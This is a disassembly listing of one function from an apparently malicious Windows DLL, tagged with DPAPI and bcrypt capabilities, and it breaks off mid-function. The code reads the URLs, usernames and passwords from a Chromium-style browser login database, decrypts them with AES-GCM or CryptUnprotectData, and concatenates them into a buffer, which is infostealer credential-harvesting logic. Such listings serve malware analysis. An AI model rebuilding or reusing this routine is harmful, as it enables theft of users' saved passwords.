Function at 0x18008da20
Capabilities:
Encrypt data using dpapi
Encrypt or decrypt data via bcrypt

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2190]
mov eax, 0x2290
call fcn.1800d3800
sub rsp, rax
cmp qword [0x180103c30], 0x10
mov r14d, 0xf
mov r15, rcx
mov qword [rbp + 0x40], r14
mov rbx, rdx
mov qword [rbp + 0x60], r14
lea rcx, [0x180103c18]
mov qword [rbp - 0x30], r14
cmovae rcx, qword [0x180103c18]
lea rdx, [rbp + 0x21e0]
xor edi, edi
xor r9d, r9d
mov qword [rbp + 0x38], rdi
mov r12d, r14d
mov byte [rbp + 0x28], dil
mov r13d, r14d
mov qword [rbp + 0x58], rdi
lea r8d, [rdi + 6]
mov byte [rbp + 0x48], dil
mov qword [rbp - 0x38], rdi
mov byte [rbp - 0x48], dil
call fcn.180087e00
test eax, eax
je 0x18008db48
mov rdx, qword [r15 + 0x18]
cmp rdx, 0x10
jb 0x18008daee
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x18008dae9
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18008ef75
mov rcx, r8
call fcn.1800afef0
mov qword [r15 + 0x10], rdi
mov byte [r15], dil
mov qword [r15 + 0x18], r12
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x18008db33
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x18008db2e
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18008ef75
mov rcx, r8
call fcn.1800afef0
mov qword [rbx + 0x10], rdi
mov eax, 0xffffffff
mov byte [rbx], dil
mov qword [rbx + 0x18], r12
jmp 0x18008edfe
mov rcx, qword [rbp + 0x21e0]
lea rax, [rbp - 0x70]
mov r9d, 1
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rax
lea rdx, str.SELECT_origin_url__username_value__password_value_FROM_logins
mov qword [rsp + 0x20], rdi
lea r8d, [r9 - 2]
call fcn.180063540
test eax, eax
jne 0x18008dab4
mov rcx, qword [rbp - 0x70]
call fcn.18002af00
cmp eax, 0x64
jne 0x18008edd1
mov rcx, qword [rbp - 0x70]
xor edx, edx
call fcn.18002bb20
mov rcx, qword [rbp - 0x70]
mov edx, 1
mov rbx, rax
call fcn.18002bb20
mov rcx, qword [rbp - 0x70]
mov edx, 2
mov rsi, rax
call fcn.18002bb20
mov rdi, rax
test rbx, rbx
je 0x18008edca
test rsi, rsi
je 0x18008edca
test rax, rax
je 0x18008edca
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rbx + rcx], 0
jne 0x18008dbe4
test rcx, rcx
je 0x18008edb8
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rsi + rax], 0
jne 0x18008dc00
test rax, rax
je 0x18008edb8
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rdi + rax], 0
jne 0x18008dc20
test rax, rax
je 0x18008edb8
mov qword [rbp - 0x58], 0
mov r8, 0xffffffffffffffff
mov qword [rbp - 0x50], 0xf
mov byte [rbp - 0x68], 0
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x18008dc50
mov rdx, rbx
lea rcx, [rbp - 0x68]
call fcn.1800a7f50
cmp r14, 0x10
jb 0x18008dc9e
mov rcx, qword [rbp + 0x28]
lea rdx, [r14 + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008dc99
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008ef75
call fcn.1800afef0
movups xmm1, xmmword [rbp - 0x58]
xor ebx, ebx
lea rdx, [rbp + 0x28]
movups xmm0, xmmword [rbp - 0x68]
mov qword [rbp - 0x18], rbx
movq rax, xmm1
mov qword [rbp - 0x10], 0xf
movq rcx, xmm0
mov byte [rbp - 0x28], bl
movups xmmword [rbp + 0x38], xmm1
lea r8, [rax - 1]
psrldq xmm1, 8
cmp rax, r8
movups xmmword [rbp + 0x28], xmm0
cmovb r8, rax
movq rax, xmm1
cmp rax, 0x10
cmovae rdx, rcx
lea rcx, [rbp - 0x28]
call fcn.1800a7f50
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x18008dd2e
mov rcx, qword [rbp + 0x28]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008dd29
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008ef75
call fcn.1800afef0
movups xmm0, xmmword [rbp - 0x28]
mov qword [rbp + 8], rbx
mov r8, 0xffffffffffffffff
movups xmm1, xmmword [rbp - 0x18]
mov qword [rbp + 0x10], 0xf
movups xmmword [rbp + 0x28], xmm0
mov byte [rbp - 8], bl
movups xmmword [rbp + 0x38], xmm1
inc r8
cmp byte [rsi + r8], bl
jne 0x18008dd54
mov rdx, rsi
lea rcx, [rbp - 8]
call fcn.1800a7f50
cmp r12, 0x10
jb 0x18008dda2
mov rcx, qword [rbp + 0x48]
lea rdx, [r12 + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008dd9d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008ef75
call fcn.1800afef0
movups xmm0, xmmword [rbp - 8]
mov rsi, qword [rbp - 0x70]
mov edx, 2
movups xmm1, xmmword [rbp + 8]
mov rcx, rsi
movups xmmword [rbp + 0x48], xmm0
movups xmmword [rbp + 0x58], xmm1
call fcn.18002b670
mov rbx, rax
movzx eax, word [rax + 8]
test al, 0x10
jne 0x18008de05
mov edx, 0x202
movzx ecx, ax
and cx, dx
cmp cx, dx
jne 0x18008ddea
cmp byte [rbx + 0xa], 1
jne 0x18008ddea
mov rax, qword [rbx + 0x10]
jmp 0x18008ddf8
test al, 1
jne 0x18008ddfd
mov dl, 1
mov rcx, rbx
call fcn.180025060
test rax, rax
jne 0x18008de05
xor r12d, r12d
mov r14d, r12d
jmp 0x18008de1a
mov r14d, dword [rbx + 0xc]
mov eax, 0x4000
test word [rbx + 8], ax
je 0x18008de17
add r14d, dword [rbx]
xor r12d, r12d
test rsi, rsi
je 0x18008de64
mov rcx, qword [rsi]
mov edx, dword [rsi + 0x84]
test rcx, rcx
jne 0x18008de32
movzx eax, dl
jmp 0x18008de4c
cmp byte [rcx + 0x50], 0
jne 0x18008de47
cmp edx, 0xc0a
je 0x18008de47
mov eax, dword [rcx + 0x48]
and eax, edx
jmp 0x18008de4c
call fcn.180005500
mov rcx, qword [rsi]
mov dword [rsi + 0x84], eax
mov rcx, qword [rcx + 0x18]
test rcx, rcx
je 0x18008de64
call qword [0x180101eb8]
cmp byte [rdi], 0x76
jne 0x18008e0b3
movzx eax, byte [rdi + 1]
cmp al, 0x31
jne 0x18008e0b3
cmp byte [rdi + 2], 0x30
je 0x18008de90
cmp al, al
jne 0x18008e0b3
cmp byte [rdi + 2], al
jne 0x18008e0b3
lea rdx, [rbp + 0x21e0]
mov dword [rbp + 0x21e0], r12d
call fcn.18008d6a0
test eax, eax
je 0x18008ee19
mov edx, dword [rbp + 0x21e0]
lea r8, [rbp + 0x190]
call fcn.18008d880
test eax, eax
je 0x18008ee19
lea rax, [rbp + 0x190]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x18008ded3
xor r9d, r9d
lea rdx, [0x1800f1da8]
xor r8d, r8d
lea rcx, [0x180106348]
call qword [sym.imp.bcrypt.dll_BCryptOpenAlgorithmProvider]
test eax, eax
jne 0x18008df1e
mov rcx, qword [0x180106348]
lea r9d, [rax + 0x20]
lea r8, str.ChainingModeGCM
mov dword [rsp + 0x20], r12d
lea rdx, str.ChainingMode
call qword [sym.imp.bcrypt.dll_BCryptSetProperty]
mov rcx, qword [0x180106348]
lea rax, [rbp + 0x190]
mov dword [rsp + 0x30], r12d
lea rdx, [0x180106320]
mov dword [rsp + 0x28], ebx
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.bcrypt.dll_BCryptGenerateSymmetricKey]
mov r9, qword [0x180106368]
test r9, r9
jne 0x18008df76
mov ecx, 0x400
call fcn.1800b7f04
mov qword [0x180106368], rax
mov r9, rax
test rax, rax
je 0x18008ee19
xorps xmm0, xmm0
mov dword [rsp + 0x48], r12d
xor eax, eax
mov dword [rbp + 0x21e8], r12d
mov qword [rbp + 0x180], rax
lea rcx, [rdi - 0x10]
movups xmmword [rbp + 0x130], xmm0
lea rax, [rdi + 3]
mov dword [rbp + 0x130], 0x58
mov qword [rbp + 0x138], rax
lea r8d, [r14 - 0x1f]
movsxd rax, r14d
lea rdx, [rdi + 0xf]
add rcx, rax
mov dword [rbp + 0x134], 1
lea rax, [rbp + 0x21e8]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0x400
mov qword [rsp + 0x30], r9
lea r9, [rbp + 0x130]
movups xmmword [rbp + 0x150], xmm0
mov qword [rbp + 0x158], rcx
mov rcx, qword [0x180106320]
movups xmmword [rbp + 0x140], xmm0
mov dword [rsp + 0x28], r12d
movups xmmword [rbp + 0x160], xmm0
mov qword [rsp + 0x20], r12
movups xmmword [rbp + 0x170], xmm0
mov dword [rbp + 0x140], 0xc
mov dword [rbp + 0x160], 0x10
call qword [sym.imp.bcrypt.dll_BCryptDecrypt]
mov eax, dword [rbp + 0x21e8]
mov r8, 0xffffffffffffffff
mov rdx, qword [0x180106368]
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x50], 0xf
mov byte [rbp - 0x68], 0
mov byte [rax + rdx], 0
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x18008e060
lea rcx, [rbp - 0x68]
call fcn.1800a7f50
cmp r13, 0x10
jb 0x18008e1a2
mov rcx, qword [rbp - 0x48]
lea rdx, [r13 + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008e19d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008ef69
jmp 0x18008e19d
lea rax, [rbp + 0x118]
mov qword [rbp + 0x110], rdi
mov qword [rsp + 0x30], rax
lea rcx, [rbp + 0x108]
mov dword [rsp + 0x28], r12d
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], r12
xor edx, edx
mov dword [rbp + 0x108], r14d
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x18008e11f
mov ebx, dword [rbp + 0x118]
test ebx, ebx
je 0x18008e110
mov rdx, qword [rbp + 0x120]
lea rcx, [rbp + 0x190]
mov r8d, ebx
call fcn.1800b2f60
mov byte [rbp + rbx + 0x190], 0
mov eax, 1
jmp 0x18008e122
mov eax, r12d
test eax, eax
je 0x18008e1b6
mov qword [rbp - 0x58], r12
lea rax, [rbp + 0x190]
mov qword [rbp - 0x50], 0xf
mov r8, 0xffffffffffffffff
mov byte [rbp - 0x68], 0
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x18008e150
lea rdx, [rbp + 0x190]
lea rcx, [rbp - 0x68]
call fcn.1800a7f50
cmp r13, 0x10
jb 0x18008e1a2
mov rcx, qword [rbp - 0x48]
lea rdx, [r13 + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008e19d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008ef75
call fcn.1800afef0
movups xmm1, xmmword [rbp - 0x58]
movups xmm0, xmmword [rbp - 0x68]
movups xmmword [rbp - 0x38], xmm1
mov r13, qword [rbp - 0x30]
movups xmmword [rbp - 0x48], xmm0
mov rax, qword [r15 + 0x18]
mov rcx, r15
cmp rax, 0x10
jb 0x18008e1c6
mov rcx, qword [r15]
cmp qword [r15 + 0x10], 1
jne 0x18008e1d6
cmp byte [rcx], 0x30
jne 0x18008e1d6
mov cl, 1
jmp 0x18008e1d8
xor cl, cl
test cl, cl
je 0x18008e7c7
mov rdx, qword [0x180103a88]
lea rcx, [rsp + 0x70]
inc rdx
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
call fcn.1800a9410
cmp qword [0x180103a90], 0x10
lea rbx, [0x180103a78]
mov r8, qword [0x180103a88]
lea rcx, [rsp + 0x70]
mov rdx, rbx
cmovae rdx, qword [0x180103a78]
call fcn.1800a7730
mov r8d, 1
lea rdx, [0x1800f1e34]
lea rcx, [rsp + 0x70]
call fcn.1800a7730
cmp qword [rbp - 0x10], 0x10
lea rdx, [rbp + 0x28]
mov r8, qword [rbp - 0x18]
lea rcx, [rsp + 0x70]
cmovae rdx, qword [rbp - 0x28]
call fcn.1800a7730
mov r8d, 1
lea rdx, [0x1800f1e30]
lea rcx, [rsp + 0x50]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800a7730
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [0x180103a90]
movups xmmword [rbp + 0x18], xmm0
movups xmmword [rbp - 0x28], xmm1
cmp rdx, 0x10
jb 0x18008e301
mov rcx, qword [0x180103a78]
inc rdx
cmp rdx, 0x1000
jb 0x18008e2f4
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18008ef7b
mov rcx, r8
call fcn.1800afef0
movups xmm0, xmmword [rbp + 0x18]
movups xmm1, xmmword [rbp - 0x28]
mov rdx, qword [rsp + 0x68]
movups xmmword [0x180103a78], xmm0
movups xmmword [0x180103a88], xmm1
cmp rdx, 0x10
jb 0x18008e34c
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008e347
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008ef7b
call fcn.1800afef0
mov rdx, qword [rbp - 0x78]
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
cmp rdx, 0x10
jb 0x18008e39b
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008e396
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008ef7b
call fcn.1800afef0
mov rdx, qword [0x180103a88]
lea rcx, [rsp + 0x70]
inc rdx
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
call fcn.1800a9410
cmp qword [0x180103a90], 0x10
lea rcx, [rsp + 0x70]
mov r8, qword [0x180103a88]
mov rdx, rbx
cmovae rdx, qword [0x180103a78]
call fcn.1800a7730
mov r8d, 1
lea rdx, [0x1800f1e34]
lea rcx, [rsp + 0x70]
call fcn.1800a7730
cmp qword [rbp + 0x10], 0x10
lea rdx, [rbp + 0x48]
mov r8, qword [rbp + 8]
lea rcx, [rsp + 0x70]
cmovae rdx, qword [rbp - 8]
call fcn.1800a7730
mov r8d, 1
lea rdx, [0x1800f1e30]
lea rcx, [rsp + 0x50]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800a7730
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [0x180103a90]
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp + 0x18], xmm1
cmp rdx, 0x10
jb 0x18008e4b5
mov rcx, qword [0x180103a78]
inc rdx
cmp rdx, 0x1000
jb 0x18008e4a8
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18008ef81
mov rcx, r8
call fcn.1800afef0
movups xmm0, xmmword [rbp - 0x28]
movups xmm1, xmmword [rbp + 0x18]
mov rdx, qword [rsp + 0x68]
movups xmmword [0x180103a78], xmm0
movups xmmword [0x180103a88], xmm1
cmp rdx, 0x10
jb 0x18008e500
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008e4fb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008ef81
call fcn.1800afef0
mov rdx, qword [rbp - 0x78]
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
cmp rdx, 0x10
jb 0x18008e54f
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008e54a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008ef81
call fcn.1800afef0
mov rdx, qword [0x180103a88]
lea rcx, [rsp + 0x70]
inc rdx
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
call fcn.1800a9410
cmp qword [0x180103a90], 0x10
lea rcx, [rsp + 0x70]
mov r8, qword [0x180103a88]
mov rdx, rbx
cmovae rdx, qword [0x180103a78]
call fcn.1800a7730
mov r8d, 1
lea rdx, [0x1800f1e34]
lea rcx, [rsp + 0x70]
call fcn.1800a7730
mov r8, qword [rbp - 0x38]
lea rdx, [rbp - 0x48]
cmp r13, 0x10
lea rcx, [rsp + 0x70]
cmovae rdx, qword [rbp - 0x48]
call fcn.1800a7730
mov r8d, 1
lea rdx, [0x1800f1e30]
lea rcx, [rsp + 0x50]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800a7730
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [0x180103a90]
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp + 0x18], xmm1
cmp rdx, 0x10
jb 0x18008e668
mov rcx, qword [0x180103a78]
inc rdx
cmp rdx, 0x1000
jb 0x18008e65b
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18008ef87
mov rcx, r8
call fcn.1800afef0
movups xmm0, xmmword [rbp - 0x28]
movups xmm1, xmmword [rbp + 0x18]
mov rdx, qword [rsp + 0x68]
movups xmmword [0x180103a78], xmm0
movups xmmword [0x180103a88], xmm1
cmp rdx, 0x10
jb 0x18008e6b3
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008e6ae
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008ef87
call fcn.1800afef0
mov rdx, qword [rbp - 0x78]
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
cmp rdx, 0x10
jb 0x18008e702
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008e6fd
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008ef87
call fcn.1800afef0
mov rdx, qword [0x180103a88]
lea rcx, [rsp + 0x50]
inc rdx
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
call fcn.1800a9410
cmp qword [0x180103a90], 0x10
lea rcx, [rsp + 0x50]
mov r8, qword [0x180103a88]
mov rdx, rbx
cmovae rdx, qword [0x180103a78]
call fcn.1800a7730
mov r8d, 1
lea rdx, [0x1800e895c]
lea rcx, [rsp + 0x50]
call fcn.1800a7730
mov rdx, qword [0x180103a90]
cmp rdx, 0x10
jb 0x18008e7a5
mov rcx, qword [0x180103a78]
inc rdx
cmp rdx, 0x1000
jb 0x18008e7a0
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18008ef63
mov rcx, r8
call fcn.1800afef0
movups xmm0, xmmword [rsp + 0x50]
mov r13, qword [rbp - 0x30]
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [0x180103a78], xmm0
movups xmmword [0x180103a88], xmm1
mov rax, qword [r15 + 0x18]
jmp 0x18008e7ce
lea rbx, [0x180103a78]
mov rcx, r15
cmp rax, 0x10
jb 0x18008e7da
mov rcx, qword [r15]
cmp qword [r15 + 0x10], 1
jne 0x18008e7ea
cmp byte [rcx], 0x31
jne 0x18008e7ea
mov al, 1
jmp 0x18008e7ec
xor al, al
test al, al
je 0x18008edaa
mov rdx, qword [0x180103a88]
lea rcx, [rsp + 0x70]
add rdx, 3
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
call fcn.1800a9410
cmp qword [0x180103a90], 0x10
lea rcx, [rsp + 0x70]
mov r8, qword [0x180103a88]
mov rdx, rbx
cmovae rdx, qword [0x180103a78]
call fcn.1800a7730
mov r8d, 3
lea rdx, [0x1800f1e40]
lea rcx, [rsp + 0x70]
call fcn.1800a7730
mov r8d, 1
lea rdx, [0x1800f1e3c]
lea rcx, [rsp + 0x70]
call fcn.1800a7730
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x58], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rax, qword [rbp + 0x21d8]
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x18008e89e
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp - 0x68]
call fcn.1800a7730
mov r8d, 1
lea rdx, [0x1800f1e3c]
lea rcx, [rbp + 0xe8]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xe8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xf8], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800a7730
cmp qword [rbp + 0x40], 0x10
lea rdx, [rbp + 0x28]
mov r8, qword [rbp + 0x38]
lea rcx, [rbp + 0xc8]
cmovae rdx, qword [rbp + 0x28]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xc8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd8], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800a7730
mov r8d, 1
lea rdx, [0x1800f1e3c]
lea rcx, [rbp + 0xa8]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xa8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xb8], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800a7730
cmp qword [rbp + 0x60], 0x10
lea rdx, [rbp + 0x48]
mov r8, qword [rbp + 0x58]
lea rcx, [rbp + 0x88]
cmovae rdx, qword [rbp + 0x48]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x88], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x98], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800a7730
mov r8d, 1
lea rdx, [0x1800f1e3c]
lea rcx, [rbp + 0x68]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x78], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800a7730
mov r8, qword [rbp - 0x38]
lea rdx, [rbp - 0x48]
cmp r13, 0x10
lea rcx, [rbp - 8]
movups xmm0, xmmword [rax]
cmovae rdx, qword [rbp - 0x48]
movups xmmword [rbp - 8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 8], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800a7730
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov r8d, 3
mov byte [rax], 0
lea rdx, [0x1800f1e38]
lea rcx, [rsp + 0x50]
call fcn.1800a7730
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [0x180103a90]
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp + 0x18], xmm1
cmp rdx, 0x10
jb 0x18008eab3
mov rcx, qword [0x180103a78]
inc rdx
cmp rdx, 0x1000
jb 0x18008eaa6
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18008ef6f
mov rcx, r8
call fcn.1800afef0
movups xmm0, xmmword [rbp - 0x28]
movups xmm1, xmmword [rbp + 0x18]
mov rdx, qword [rsp + 0x68]
movups xmmword [0x180103a78], xmm0
movups xmmword [0x180103a88], xmm1
cmp rdx, 0x10
jb 0x18008eafe
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008eaf9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008ef6f
call fcn.1800afef0
mov rdx, qword [rbp + 0x10]
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
cmp rdx, 0x10
jb 0x18008eb4c
mov rcx, qword [rbp - 8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008eb47
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008ef6f
call fcn.1800afef0
mov rdx, qword [rbp + 0x80]
mov qword [rbp + 8], r12
mov qword [rbp + 0x10], 0xf
mov byte [rbp - 8], 0
cmp rdx, 0x10
jb 0x18008eb9a
mov rcx, qword [rbp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008eb95
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008ef6f
call fcn.1800afef0
mov rdx, qword [rbp + 0xa0]
mov qword [rbp + 0x78], r12
mov qword [rbp + 0x80], 0xf
mov byte [rbp + 0x68], 0
cmp rdx, 0x10
jb 0x18008ebee
mov rcx, qword [rbp + 0x88]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008ebe9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008ef6f
call fcn.1800afef0
mov rdx, qword [rbp + 0xc0]
mov qword [rbp + 0x98], r12
mov qword [rbp + 0xa0], 0xf
mov byte [rbp + 0x88], 0
cmp rdx, 0x10
jb 0x18008ec48
mov rcx, qword [rbp + 0xa8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008ec43
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008ef6f
call fcn.1800afef0
mov rdx, qword [rbp + 0xe0]
mov qword [rbp + 0xb8], r12
mov qword [rbp + 0xc0], 0xf
mov byte [rbp + 0xa8], 0
cmp rdx, 0x10
jb 0x18008eca2
mov rcx, qword [rbp + 0xc8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008ec9d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008ef6f
call fcn.1800afef0
mov rdx, qword [rbp + 0x100]
mov qword [rbp + 0xd8], r12
mov qword [rbp + 0xe0], 0xf
mov byte [rbp + 0xc8], 0
cmp rdx, 0x10
jb 0x18008ecfc
mov rcx, qword [rbp + 0xe8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008ecf7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008ef6f
call fcn.1800afef0
mov rdx, qword [rbp - 0x50]
mov qword [rbp + 0xf8], r12
